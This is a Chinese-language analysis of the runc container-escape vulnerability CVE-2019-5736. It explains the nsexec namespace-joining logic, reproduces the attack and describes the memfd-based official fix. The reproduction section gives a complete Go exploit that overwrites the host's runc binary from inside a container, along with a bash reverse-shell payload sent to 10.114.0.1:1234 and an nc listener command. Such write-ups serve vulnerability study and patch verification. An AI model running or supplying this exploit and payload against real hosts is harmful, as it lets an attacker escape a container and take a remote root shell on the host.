漏洞分析
CVE-2019-5736是一个runc漏洞,利用这个漏洞可以让容器中的进程覆写runc程序文件,从而在宿主中执行任意指令。
当宿主中的runc要运行容器中的程序时,它会调用nsexec()方法来进入容器的namespace,然后才会运行容器中的程序[1.1]:
void join_namespaces(char *nslist) { int num = 0, i; char *saveptr = NULL; char *namespace = strtok_r(nslist, ",", &saveptr); struct namespace_t { int fd; int ns; char type[PATH_MAX]; char path[PATH_MAX]; } *namespaces = NULL; ...... for (i = 0; i < num; i++) { struct namespace_t ns = namespaces[i]; if (setns(ns.fd, ns.ns) < 0) bail("failed to setns to %s", ns.path); close(ns.fd); } free(namespaces); } void nsexec(void) { ...... case JUMP_CHILD:{ ...... if (config.namespaces) join_namespaces(config.namespaces); if (unshare(config.cloneflags) < 0) bail("failed to unshare namespaces"); ...... } ...... }
然而,如果runc运行的程序被修改为“#!/proc/self/exe”,runc就会在容器中运行它自己。同时,由于runc已经进入了容器的namespace,runc的进程便可以在容器中的/proc里被发现,此时容器中的程序就可以把runc的程序文件的内容修改为任意恶意代码。
漏洞复现
注意:该漏洞会覆写runc程序,需要提前做备份。
系统:Ubuntu 18.04
Docker:18.09.1
containerd:1.2.0-1
创建一个容器,在里面创建payload文件:
#!/bin/bash /bin/bash -i >& /dev/tcp/10.114.0.1/1234 0>&1
在10.114.0.1中开启监听:
nc -lvp 1234
然后在容器中创建并编译exp,其中“/exp.sh”为上面创建的payload文件:
package main import ( "io/ioutil" "os" "strconv" "bytes" ) func main() { payload, _ := ioutil.ReadFile("/exp.sh") ioutil.WriteFile("/bin/sh", []byte("#!/proc/self/exe"), 0755) pid := "" for pid == "" { pids, _ := ioutil.ReadDir("/proc") for _, f := range pids { cmdline, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") if bytes.Contains(cmdline, []byte("runc")) { pid = f.Name() break } } } exefd := "" for { exe, _ := os.Open("/proc/"+pid+"/exe") if int(exe.Fd()) > 0 { exefd = strconv.Itoa(int(exe.Fd())) break } } for { writefd, _ := os.OpenFile("/proc/self/fd/"+exefd, os.O_WRONLY|os.O_TRUNC, 0755) if int(writefd.Fd()) > 0 { writefd.Write(payload) break } } }
在容器中执行该程序,然后在另一个宿主的session中执行容器的/bin/sh:
sudo docker exec -it ubuntu /bin/sh
由于此时容器中的/bin/sh已经被覆写,此处实际上运行的是runc本身。随后之前运行的exp覆写runc文件,内容为payload的内容,此时宿主会反弹一个shell到攻击机。
并且也可以看到runc文件的内容发生了变化。
官方修复
在修复后,runc会先将自己复制为一个临时存在于内存中的匿名文件,然后复制后的runc会进入容器的namespace,而原本的runc则不会进入,这样容器中对runc的修改就不会影响到宿主中原本的runc[3.1]。
#ifdef HAVE_MEMFD_CREATE memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING); #else memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711); #endif if (memfd < 0) return -ENOTRECOVERABLE; binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC); if (binfd < 0) goto error; sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX); close(binfd);
参考
[1.1] https://github.com/opencontainers/runc/blob/v1.0.0-rc5/libcontainer/nsenter/nsexec.c#L792
[2.1] https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/
[2.2] https://github.com/Frichetten/CVE-2019-5736-PoC
[3.1] https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b